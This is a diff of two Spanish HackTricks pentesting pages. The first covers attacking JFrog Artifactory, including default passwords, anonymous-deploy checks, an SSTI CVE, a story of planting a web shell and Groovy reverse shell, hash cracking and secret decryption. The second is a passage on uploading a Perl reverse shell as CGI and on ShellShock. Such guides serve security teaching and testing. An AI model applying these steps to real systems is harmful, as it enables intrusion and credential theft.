* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -19,50 +17,50 @@
# Conceptos básicos de Artifactory <a href="#artifactory-basics" id="artifactory-basics"></a>
## Usuarios y contraseñas predeterminados <a href="#default-users-and-passwords" id="default-users-and-passwords"></a>
## Usuarios y contraseñas por defecto <a href="#default-users-and-passwords" id="default-users-and-passwords"></a>
Las cuentas predeterminadas de Artifactory son:
Las cuentas por defecto de Artifactory son:
| Cuenta | Contraseña predeterminada | Notas |
| ------------ | ---------------------------------------------- | --------------------------------------------------------------------- |
| admin | password | cuenta de administración común |
| access-admin | password (<6.8.0) o un valor aleatorio (>= 6.8.0) | utilizado solo para operaciones de administración local |
| anonymous | '' | usuario anónimo para recuperar paquetes de forma remota, no habilitado por defecto |
| Cuenta | Contraseña por defecto | Notas |
| ------------ | ---------------------------------------------- | -------------------------------------------------------------------- |
| admin | password | cuenta común de administración |
| access-admin | password (<6.8.0) o un valor aleatorio (>= 6.8.0) | utilizada solo para operaciones de administración local |
| anonymous | | usuario anónimo para recuperar paquetes de forma remota, no habilitado por defecto |
Por defecto, no se aplica ninguna política de bloqueo de contraseñas, lo que convierte a Artifactory en un objetivo principal para ataques de relleno de credenciales y de rociado de contraseñas.
Por defecto, no hay una política de bloqueo de contraseñas, lo que convierte a Artifactory en un objetivo principal para ataques de relleno de credenciales y rociado de contraseñas.
## Autorizaciones <a href="#authorizations" id="authorizations"></a>
Idealmente, esto es lo que debería ver al conectarse a Artifactory:
Idealmente, esto es lo que deberías ver al conectarte a Artifactory:
![Página de inicio de sesión](https://www.errno.fr/artifactory/artif\_login.png)
Por otro lado, si se le presenta algo más parecido a esto:
Por otro lado, si te encuentras con algo más parecido a esto:
![Página predeterminada](https://www.errno.fr/artifactory/artif\_default.png)
![Página por defecto](https://www.errno.fr/artifactory/artif\_default.png)
Significa que se ha habilitado el "Acceso anónimo" en el panel de administración, que es una configuración común utilizada para permitir que las aplicaciones recuperen artefactos sin problemas, pero que le permite a usted, el atacante, ver más de lo que es preferible.
Significa que se ha habilitado el "Acceso anónimo" en el panel de administración, lo cual es una configuración común utilizada para permitir que las aplicaciones recuperen artefactos sin problemas, pero te permite, el atacante, ver más de lo preferible.
## Comprobación de los derechos de la cuenta <a href="#checking-account-rights" id="checking-account-rights"></a>
## Verificación de derechos de cuenta <a href="#checking-account-rights" id="checking-account-rights"></a>
¡A veces, debido a una mala configuración, se permite que el usuario anónimo implemente archivos en algunos repositorios!
A veces, debido a una mala configuración, ¡se permite al usuario anónimo desplegar archivos en algunos repositorios!
Para comprobar en qué repositorios puede implementar el usuario anónimo, utilice la siguiente solicitud:
Para verificar a qué repositorios el usuario anónimo puede desplegar, utiliza la siguiente solicitud:
```
curl http://localhost:8081/artifactory/ui/repodata?deploy=true
{"repoList":["artifactory-build-info","example-repo-local"]}
```
Si hay entradas `repoKey` en la solicitud, cualquier persona anónima puede desplegar en ellas, lo cual es realmente malo. Definitivamente, se debe estar autenticado para desplegar cualquier archivo.
Si hay entradas de `repoKey` en la solicitud, el usuario anónimo puede desplegar en estos, lo cual es realmente muy malo. Definitivamente deberías estar autenticado para desplegar cualquier archivo.
Esto se puede generalizar a otras cuentas una vez que se obtiene una contraseña o token para ellas.
Esto se puede generalizar a otras cuentas una vez que obtengas una contraseña o token para ellas.
## Listado de usuarios <a href="#listing-users" id="listing-users"></a>
Por alguna razón, la lista de usuarios es un derecho reservado solo para los administradores. Encontré una forma alternativa de listar usuarios (aquellos que están desplegando activamente al menos) que se basa en el valor "Desplegado por" de los artefactos:
Por alguna razón, el listado de usuarios es un derecho reservado solo para administradores. Encontré una forma alternativa de listar usuarios (aquellos que están desplegando activamente al menos) que depende del valor “Desplegado Por” de los artefactos:
![Desplegado por](https://www.errno.fr/artifactory/artif\_deployed\_by.png)
![Desplegado Por](https://www.errno.fr/artifactory/artif\_deployed\_by.png)
[Este script](https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a) simplemente intenta encontrar recursivamente todos los usuarios que han desplegado artefactos. Tenga en cuenta que podría tardar un tiempo en completarse si hay muchos repositorios (>1000).
[Este script](https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a) simplemente intenta encontrar recursivamente todos los usuarios que han desplegado artefactos. Ten en cuenta que podría tardar un tiempo en completarse si hay muchos repositorios (>1000).
```
./artifactory_list_users.py http://127.0.0.1:8081/artifactory
There are 23 repositories to process
@ -76,63 +74,79 @@ Found user test_deploy
Aquí están los permisos básicos y su utilidad:
* Manage: ?
* Delete/Overwrite: interesante para pentest
* Deploy/Cache: interesante para pentest
* Delete/Overwrite: interesante para pentesting
* Deploy/Cache: interesante para pentesting
* Annotate: necesario para CVE-2020-7931
* Read: generalmente un permiso predeterminado
* Read: generalmente un permiso por defecto
# Vulnerabilidades conocidas <a href="#known-vulnerabilities" id="known-vulnerabilities"></a>
Aquí hay una lista seleccionada de vulnerabilidades públicas de alto impacto:
Aquí hay una lista curada de vulnerabilidades públicas de alto impacto:
## CVE-2016-10036: Carga de archivo arbitraria y RCE (<4.8.6) <a href="#cve-2016-10036-arbitrary-file-upload--rce-486" id="cve-2016-10036-arbitrary-file-upload--rce-486"></a>
## CVE-2016-10036: Carga de Archivos Arbitrarios & RCE (<4.8.6) <a href="#cve-2016-10036-arbitrary-file-upload--rce-486" id="cve-2016-10036-arbitrary-file-upload--rce-486"></a>
[Detalles aquí.](https://www.exploit-db.com/exploits/44543)
Este es un poco antiguo y es poco probable que te encuentres con una versión tan desactualizada de Artifactory. Sin embargo, es bastante efectivo, ya que es una simple travesía de directorios que permite la ejecución de código arbitrario en el nivel de Tomcat.
Esta es un poco antigua y es poco probable que encuentres una versión de Artifactory tan desactualizada. Sin embargo, es bastante efectiva, ya que es una simple travesía de directorio que permite la ejecución de código arbitrario a nivel de Tomcat.
## CVE-2019-9733: Bypass de autenticación (<6.8.6) <a href="#cve-2019-9733-authentication-bypass-686" id="cve-2019-9733-authentication-bypass-686"></a>
## CVE-2019-9733: Bypass de Autenticación (<6.8.6) <a href="#cve-2019-9733-authentication-bypass-686" id="cve-2019-9733-authentication-bypass-686"></a>
[Advertencia original aquí.](https://www.ciphertechs.com/jfrog-artifactory-advisory/)
En versiones anteriores de Artifactory (hasta 6.7.3), la cuenta `access-admin` usaba una contraseña predeterminada `password`.
En versiones anteriores de Artifactory (hasta 6.7.3), la cuenta `access-admin` utilizaba una contraseña predeterminada `password`.
Normalmente, esta cuenta local está prohibida para acceder a la interfaz de usuario o la API, pero hasta la versión 6.8.6, Artifactory podía ser engañado para creer que la solicitud emanaba localmente si se establecía el encabezado HTTP `X-Forwarded-For` en `127.0.0.1`.
Esta cuenta local normalmente no tiene permiso para acceder a la UI o API, pero hasta la versión 6.8.6 se podía engañar a Artifactory para que creyera que la solicitud se originaba localmente si el encabezado HTTP `X-Forwarded-For` se establecía en `127.0.0.1`.
## CVE-2020-7931: Inyección de plantillas en el lado del servidor (Artifactory Pro) <a href="#cve-2020-7931-server-side-template-injection-artifactory-pro" id="cve-2020-7931-server-side-template-injection-artifactory-pro"></a>
## CVE-2020-7931: Inyección de Plantillas en el Servidor (Artifactory Pro) <a href="#cve-2020-7931-server-side-template-injection-artifactory-pro" id="cve-2020-7931-server-side-template-injection-artifactory-pro"></a>
[Advertencia original aquí.](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md)
Aquí hay una [herramienta que escribí](https://github.com/gquere/CVE-2020-7931) para automatizar la explotación de esta vulnerabilidad.
Estos son necesarios para la explotación:
Estos son requeridos para la explotación:
* un usuario con derechos de implementación (crear archivos) y anotación (establecer filtrados)
* un usuario con permisos de deploy (crear archivos) y annotate (establecer filtrado)
* Artifactory Pro
La vulnerabilidad es bastante simple: si un recurso implementado se establece en filtrado, se interpreta como una plantilla de Freemarker, lo que le da al atacante una ventana de ataque SSTI. ![Recurso filtrado](https://www.errno.fr/artifactory/artif_filtered.png)
La vulnerabilidad es bastante simple: si un recurso desplegado se establece como filtrado, se interpreta como una Plantilla Freemarker, lo que le da al atacante una ventana de ataque SSTI. ![Recurso Filtrado](https://www.errno.fr/artifactory/artif\_filtered.png)
Aquí están los primitivos implementados:
Aquí están las primitivas implementadas:
* lecturas básicas del sistema de archivos
* escrituras limitadas del sistema de archivos
* escrituras limitadas en el sistema de archivos
Estos deberían ser suficientes para darle ejecución de código remoto de varias maneras, desde la más fácil/silenciosa hasta la más difícil/ruidosa:
Estas deberían ser suficientes para darte ejecución de código remoto de varias maneras, desde la más fácil/discreta hasta la más difícil/ruidosa:
* leyendo un secreto en el sistema de archivos que le permite pivotar (/home/user/.bash\_history, /home/user/password.txt, /home/user/.ssh/id\_rsa …)
* agregando una clave SSH al usuario
* implementando un archivo .war para ejecutar un servlet
* implementando un script de usuario Groovy de Artifactory
* leer un secreto en el sistema de archivos que te permita pivotar (/home/user/.bash\_history, /home/user/password.txt, /home/user/.ssh/id\_rsa …)
* añadir una clave SSH al usuario
* desplegar un .war para ejecutar un servlet
* desplegar un script de usuario Groovy de Artifactory
### Historias .war: travesuras de Java renameTo() <a href="#war-stories-java-renameto-shenanigans" id="war-stories-java-renameto-shenanigans"></a>
### Historias de .war: Travesuras de Java renameTo() <a href="#war-stories-java-renameto-shenanigans" id="war-stories-java-renameto-shenanigans"></a>
Esta es una pequeña historia de cómo me golpeé la cabeza contra la pared durante horas, si no días, durante una prueba de penetración. Me encontré con una versión desactualizada de Artifactory que sabía que era vulnerable a CVE-2020-7931. Implementé la plantilla SSTI original de la advertencia y comencé a buscar en el sistema de archivos. Parecía que Artifactory se había instalado en una ubicación no estándar, lo que no es demasiado inusual ya que a los administradores les gusta mantener particiones separadas entre binarios de aplicaciones, datos, registros y configuración (¡esto es algo bueno!). No había claves SSH o contraseñas en el directorio principal del usuario que me hubieran proporcionado un pivote fácil, así que llegó el momento de ser menos discreto y escribir en el sistema de archivos. La carga útil inicial (una clave pública) en el directorio de carga de Artifactory fue bien, pero simplemente no pude moverla al directorio de claves SSH. Así que volví a mi sandbox de explotación, lo probé de nuevo y, ¡oh sorpresa!, funcionó bien. Así que tenía que haber una configuración diferente que me impidiera completar el método `renameTo()`. En este punto, siempre es una buena idea [consultar la documentación](https://docs.oracle.com/javase/8/docs/api/java/io/File.html#renameTo-java.io.File-) ... que claramente establece que no se pueden renombrar archivos en diferentes sistemas de archivos, lo que supongo que tiene sentido dependiendo de la implementación del método, es decir, si funciona a nivel de inodo. Arg.
Esta es una pequeña historia de cómo me golpeé la cabeza contra la pared durante horas, si no días, durante un pentest. Me encontré con un Artifactory desactualizado que sabía que era vulnerable a CVE-2020-7931. Desplegué la plantilla SSTI del aviso original y comencé a examinar el sistema de archivos. Parecía que Artifactory había sido instalado en una ubicación no estándar, lo cual no es tan inusual ya que los administradores suelen mantener particiones separadas entre los binarios de la aplicación, los datos, los registros y la configuración (¡esto es bueno!). No había claves SSH ni contraseñas en el directorio del usuario que me hubieran proporcionado un pivote fácil, así que llegó el momento de ser menos discreto y escribir en el sistema de archivos. Dejar el payload inicial (una clave pública) en el directorio de carga de Artifactory fue bien, pero simplemente no pude moverlo al directorio de claves SSH. Así que volví a mi sandbox de explotación, lo probé de nuevo y, he aquí, funcionó bien. Así que tenía que haber una configuración diferente que me impidiera completar el método `renameTo()`. En este punto siempre es una buena idea [consultar la documentación](https://docs.oracle.com/javase/8/docs/api/java/io/File.html#renameTo-java.io.File-) ... que claramente indica que no puedes renombrar archivos a través de diferentes sistemas de archivos, lo cual supongo que tiene sentido dependiendo de la implementación del método, es decir, si funciona a nivel de inode. Arg.
¿Recuerdas lo que dije sobre los administradores que les gustan las particiones? Bueno, ¡este es un caso de un administrador que sin saberlo endureció su configuración contra mi explotación! Así que tuve que profundizar en lo que es esencialmente una cárcel de Java para encontrar otro método que me permitiera escribir un archivo en disco. Y eso no fue divertido en absoluto, ya que no estoy familiarizado con ninguna de las cosas involucradas: plantillas FTL, Java, Tomcat/Catalina. Rápidamente descubrí que las fugas de la cárcel de Java regulares simplemente no funcionarían, ya que instanciar nuevas clases estaba prohibido. Después de horas de leer la documentación de las clases de Java y Catalina, finalmente encontré un método write() en un objeto al que podía acceder. Pero estaba limitado a la ruta base de la aplicación web... Así que luego pensé en combinar la escritura en otro sistema de archivos y el `renameTo()` a través de este sistema de archivos recién alcanzable para, con suerte, poder escribir en cualquier lugar. Y funcionó un poco. Logré escribir fuera del directorio de carga temporal ... pero no tan lejos de él, ya que ahora estaba atrapado en otro sistema de archivos que era el punto de montaje de todas las cosas de Artifactory: configuración, aplicación y cosas. Así que todavía no hay clave SSH para mí.
¿Recuerdas lo que dije sobre los administradores y las particiones? Bueno, este es un caso de un administrador que sin saberlo fortaleció su configuración contra mi exploit. Así que tuve que investigar lo que es esencialmente una cárcel de Java para encontrar otro método que me permitiera escribir un archivo en el disco. Y eso no fue nada divertido, ya que no estoy familiarizado con ninguna de las cosas involucradas: Plantillas FTL, Java, Tomcat/Catalina. Rápidamente descubrí que los escapes de cárcel de Java regulares simplemente no funcionarían, ya que estaba prohibido instanciar nuevas clases. Después de horas de leer la documentación de las clases de Java y Catalina, finalmente encontré un método write() en un objeto al que podía acceder. Pero estaba limitado a la ruta base de la aplicación web... Entonces pensé en combinar la escritura a otro sistema de archivos y el `renameTo()` a través de este nuevo sistema de archivos accesible para poder escribir en cualquier lugar. ¿Y funcionó? Más o menos. Logré escribir fuera del directorio temporal de carga ... pero no muy lejos de él, ya que ahora estaba atascado en otro sistema de archivos que era el punto de montaje de todo lo relacionado con artifactory: configuración, aplicación y cosas. Así que todavía no tenía clave SSH para mí.
De acuerdo, podría escribir en la carpeta raíz de Artifactory, ¿seguramente podría hacer algo aquí? Oye, ¿no hace Tomcat por defecto implementar archivos WAR escritos en su ruta de aplicación? Así que usé msfvenom para generar una shell web JSP empaquetada en un archivo WAR y lo probé en mi sandbox... bueno, se implementó correctamente, pero no me dio ejecución de comandos. Parece que el Tomcat predeterminado no maneja los JSP. Ugh. Cada vez más frustrado, busqué otra forma de ejecutar código en Tomcat y encontré otro método de ejecución usando servlets. No pude encontrar una carga útil adecuada, así que jódete, estoy todo adentro en este punto y [desarrollé mi propio método que puedes encontrar aquí](https://github.com/gquere/javaWebShell). Lo probé en el sandbox, funciona, bien. Lo puse en el objetivo, se implementa y... nada. Resulta que había un proxy delante de Artifactory que reescribía todas las URL a /artifactory. Así que aunque mi puerta trasera estaba implementada y funcionando, no había forma de acceder a ella... Si hubiera algún tipo de ejecución de código remoto para lograr en este punto, tendría que estar en el contexto de Artifactory, no de Tomcat.
Bueno, podía escribir en la carpeta raíz de artifactory, seguramente podría hacer algo aquí, ¿no? Oye, el Tomcat predeterminado automáticamente despliega archivos WAR escritos en su ruta de aplicación, ¿no es así? Así que usé msfvenom para generar un webshell JSP empaquetado en un archivo WAR y lo probé en mi sandbox... bueno, se desplegó bien, pero no me proporcionó ejecución de comandos. Parece que el Tomcat predeterminado no maneja JSPs. Ugh. Cada vez más frustrado, busqué otra forma de ejecutar código en Tomcat, y encontré otro método de ejecución usando servlets. No pude encontrar un payload apropiado, así que a la mierda, estoy all in en este punto y [hice mi propio que puedes encontrar aquí](https://github.com/gquere/javaWebShell). Lo probé en la sandbox, funciona, ok. Lo puse en el objetivo, se despliega y ... nada. Resulta que había un proxy frente a artifactory que reescribía todas las URLs a /artifactory. Así que aunque mi puerta trasera estaba desplegada y funcionando, no había forma de acceder a ella... Si había alguna ejecución de código remoto que lograr en este punto, tendría que ser en el contexto de Artifactory, no de Tomcat.
Al día siguiente, estoy sollozando en mi escritorio mirando por última vez la documentación de Artifactory con la esperanza vana de una epifanía. Y luego aparecieron las palabras mágicas "scripts Groovy". Resulta que hay una forma complicada de ejecutar scripts Groovy, escribiéndolos en disco y luego recarg
A la mañana siguiente, estoy sollozando en mi escritorio mirando por última vez la documentación de Artifactory con la vana esperanza de una epifanía. Y entonces las palabras mágicas "scripts Groovy" aparecieron. Resulta que hay una forma enrevesada de ejecutar scripts Groovy, escribiéndolos en disco y luego recargándolos a través de la API. ¡Salvado al fin! Así que lancé un reverseshell Groovy a la máquina y eso fue todo. Aún desearía haber encontrado un método más limpio que hubiera escrito en cualquier lugar del sistema de archivos usando el SSTI, pero seguro que no iba a volver a desarrollar.
Afortunadamente, no todos los pentests son así :)
# Post-Explotación <a href="#post-exploitation" id="post-exploitation"></a>
Lo siguiente solo es útil una vez que has logrado ejecución de código remoto o lectura de archivos arbitrarios en el servidor y podría ayudarte a pivotar a otra máquina.
## Almacenamiento de contraseñas y secretos externos <a href="#storage-of-passwords-and-external-secrets" id="storage-of-passwords-and-external-secrets"></a>
### Contraseñas locales <a href="#local-passwords" id="local-passwords"></a>
Las contraseñas locales de artifactory se almacenan en forma de MD5 salado o bcrypt, siendo el primero obsoleto.
Las contraseñas MD5 siempre están saladas con el valor spring codificado `{CAFEBABEEBABEFAC}`, y utilizan una simple concatenación sin rondas, es decir, `hash = md5(password + salt)`. La base de datos dice que la sal es `CAFEBABEEBABEFAC` pero créeme, es `{CAFEBABEEBABEFAC}`, me costó mucho encontrarlo :)
Para romper estas contraseñas MD5 se requiere usar un modo dinámico para JtR:
```
cat artifactory.hashes
user:1f70548d73baca61aab8660733c7de81${CAFEBABEEBABEFAC}
@ -140,7 +154,7 @@ john artifactory.hashes --format=dynamic_1
Loaded 1 password hash (dynamic_1 [md5($p.$s) (joomla) 256/256 AVX2 8x3])
password (user)
```
El otro tipo de contraseña bcrypt no requiere nada especial, es simplemente un hash bcrypt estándar:
El otro tipo de contraseña bcrypt no requiere nada especial, es solo un hash bcrypt estándar:
```
cat artifactory_bcrypt.hashes
admin:$2a$08$EbfHSAjPLoJnG/yHS/zmi.VizaWSipUuKAo7laKt6b8LePPTfDVeW
@ -150,30 +164,30 @@ password (admin)
```
### Secretos remotos <a href="#remote-secrets" id="remote-secrets"></a>
Artifactory puede necesitar almacenar secretos para identificarse en servicios remotos. Estos secretos no están hashados, por supuesto, se almacenan cifrados en el disco, con la clave junto a ellos. Hay dos tipos de secretos mencionados en la [documentación oficial](https://jfrog.com/knowledge-base/what-are-the-artifactory-key-master-key-and-what-are-they-used-for/).
Artifactory puede necesitar almacenar secretos para identificarse ante servicios remotos. Estos secretos no están hasheados, por supuesto, se almacenan cifrados en el disco, con la clave al lado de ellos. Hay dos tipos de secretos mencionados en la [documentación oficial](https://jfrog.com/knowledge-base/what-are-the-artifactory-key-master-key-and-what-are-they-used-for/).
**Formato antiguo (<5.9): DES-EDE**
TODO. [Abra un problema si tiene datos cifrados de muestra](https://github.com/gquere/ArtifactoryDecryptor).
TODO. [Abre un issue si tienes datos cifrados de muestra](https://github.com/gquere/ArtifactoryDecryptor).
**Nuevo formato (>=5.9): cifrado AES128-CBC, almacenado como base58**
**Formato nuevo (>=5.9): cifrado AES128-CBC, almacenado como base58**
Los secretos externos (como las contraseñas de los servidores remotos) se encuentran en los [descriptores de configuración](https://www.jfrog.com/confluence/display/JFROG/Configuration+Files#ConfigurationFiles-GlobalConfigurationDescriptor), por ejemplo, `/var/opt/jfrog/artifactory/etc/artifactory.config.latest.xml` y se ven así:
Los secretos externos (como contraseñas de servidores remotos) se encuentran en los [descriptores de configuración](https://www.jfrog.com/confluence/display/JFROG/Configuration+Files#ConfigurationFiles-GlobalConfigurationDescriptor), por ejemplo, `/var/opt/jfrog/artifactory/etc/artifactory.config.latest.xml` y parecen:
```
<keyStorePassword>AM.25rLQ.AES128.vJMeKkaK6RBRQCUKJWvYEHUw6zs394X1CrRugvJsQGPanhMgQ5be8yjWDhJYC4BEz2KRE</keyStorePassword>
```
Donde:
* `AM` siempre denota un secreto cifrado de Artifactory
* `AM` siempre denota un secreto cifrado de artifactory
* `25rLQ` es el identificador del secreto que debe coincidir con el identificador de la clave
* `AES128` obviamente es el algoritmo utilizado
* `vJMeK...KRE` es la codificación base58 de `IV_SIZE|IV|secret|CRC`
* `vJMeK...KRE` es la codificación base58 de `IV_SIZE|IV|secreto|CRC`
Se pueden encontrar más secretos (tokens, copias de seguridad de configuración...) utilizando la siguiente expresión regular:
Se pueden encontrar más secretos (tokens, copias de seguridad de configuración ...) utilizando la siguiente expresión regular:
```
grep -r 'AM\..*\.AES128\.' /var/opt/jfrog/artifactory/
```
La clave se almacena en `/var/opt/jfrog/artifactory/etc/security/artifactory.key` y tiene este aspecto:
La clave se almacena en `/var/opt/jfrog/artifactory/etc/security/artifactory.key` y luce así:
```
JS.25rLQ.AES128.7fcJFd3Y2ib3wi4EHnhbvZuxu
```
@ -181,15 +195,30 @@ Donde:
* `JS` denota una clave
* `25rLQ` es un identificador de clave único que lleva un registro de qué clave puede descifrar qué secretos
* `AES128` es obviamente el algoritmo utilizado
* `AES128` obviamente es el algoritmo utilizado
* `7fcJFd3Y2ib3wi4EHnhbvZuxu` es la codificación base58 de la clave y 2 bytes de CRC
Esta herramienta que escribí se puede utilizar sin conexión para descifrar secretos de Artifactory: [ArtifactoryDecryptor](https://github.com/gquere/ArtifactoryDecryptor).
Esta herramienta que escribí se puede usar sin conexión para descifrar secretos de Artifactory: [ArtifactoryDecryptor](https://github.com/gquere/ArtifactoryDecryptor).
# Defendiendo Artifactory <a href="#defending-artifactory" id="defending-artifactory"></a>
Si eres el equipo azul o un administrador de Artifactory, a estas alturas deberías tener una buena idea de qué hacer:
Si eres del equipo azul o un administrador de Artifactory, para este momento deberías tener una idea bastante clara de qué hacer:
* mantener Artifactory actualizado, especialmente cuando se emiten actualizaciones críticas
* implementar una política de contraseñas sólida (sin contraseñas predeterminadas, contraseñas fuertes obligatorias, bloqueos), preferiblemente diferido a un LDAP externo para una mejor supervisión
* restringir accesos (respetar el principio de menor privilegio), especialmente para el usuario anónimo
* implementar una política de contraseñas sólida (sin contraseñas predeterminadas, contraseñas fuertes obligatorias, bloqueos), preferiblemente delegada a un LDAP externo para una mejor supervisión
* restringir accesos (respetar el principio de mínimo privilegio), especialmente para el usuario anónimo
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,25 +1,40 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Información
Los scripts **CGI son scripts perl**, por lo que si has comprometido un servidor que puede ejecutar scripts _**.cgi**_, puedes **subir un shell inverso perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiar la extensión** de **.pl** a **.cgi**, darle **permisos de ejecución** \(`chmod +x`\) y **acceder** al shell inverso **desde el navegador web** para ejecutarlo.
Para probar **vulnerabilidades CGI**, se recomienda usar `nikto -C all` \(y todos los plugins\)
Los **scripts CGI son scripts perl**, por lo tanto, si has comprometido un servidor que puede ejecutar scripts _**.cgi**_, puedes **subir un reverse shell de perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiar la extensión** de **.pl** a **.cgi**, dar **permisos de ejecución** \(`chmod +x`\) y **acceder** al reverse shell **desde el navegador web** para ejecutarlo.
Para probar **vulnerabilidades CGI** se recomienda usar `nikto -C all` \(y todos los plugins\)
# **ShellShock**
Bash también se puede usar para ejecutar comandos que se le pasan las aplicaciones y es esta característica la que afecta a la vulnerabilidad. Un tipo de comando que se puede enviar a Bash permite establecer variables de entorno. Las variables de entorno son valores dinámicos y nombrados que afectan a la forma en que se ejecutan los procesos en un ordenador. La vulnerabilidad radica en el hecho de que un **atacante puede agregar código malicioso a la variable de entorno, que se ejecutará una vez que se reciba la variable**.
Bash también puede ser utilizado para ejecutar comandos que le son enviados por aplicaciones y es esta característica la que afecta la vulnerabilidad. Un tipo de comando que puede ser enviado a Bash permite establecer variables de entorno. Las variables de entorno son valores dinámicos y nombrados que afectan la forma en que los procesos se ejecutan en una computadora. La vulnerabilidad radica en el hecho de que un **atacante puede añadir código malicioso a la variable de entorno, que se ejecutará una vez que la variable sea recibida**.
Explotando esta vulnerabilidad, la **página podría arrojar un error**.
Al explotar esta vulnerabilidad, la **página podría mostrar un error**.
Podrías **encontrar** esta vulnerabilidad notando que está usando una **versión antigua de Apache** y **cgi\_mod** \(con carpeta cgi\) o usando **nikto**.
Podrías **encontrar** esta vulnerabilidad notando que se está utilizando una **versión antigua de Apache** y **cgi\_mod** \(con carpeta cgi\) o utilizando **nikto**.
## **Prueba**
La mayoría de las pruebas se basan en imprimir algo y esperar que esa cadena se devuelva en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
La mayoría de las pruebas se basan en hacer un echo de algo y esperar que esa cadena sea devuelta en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
**Nmap**
```bash
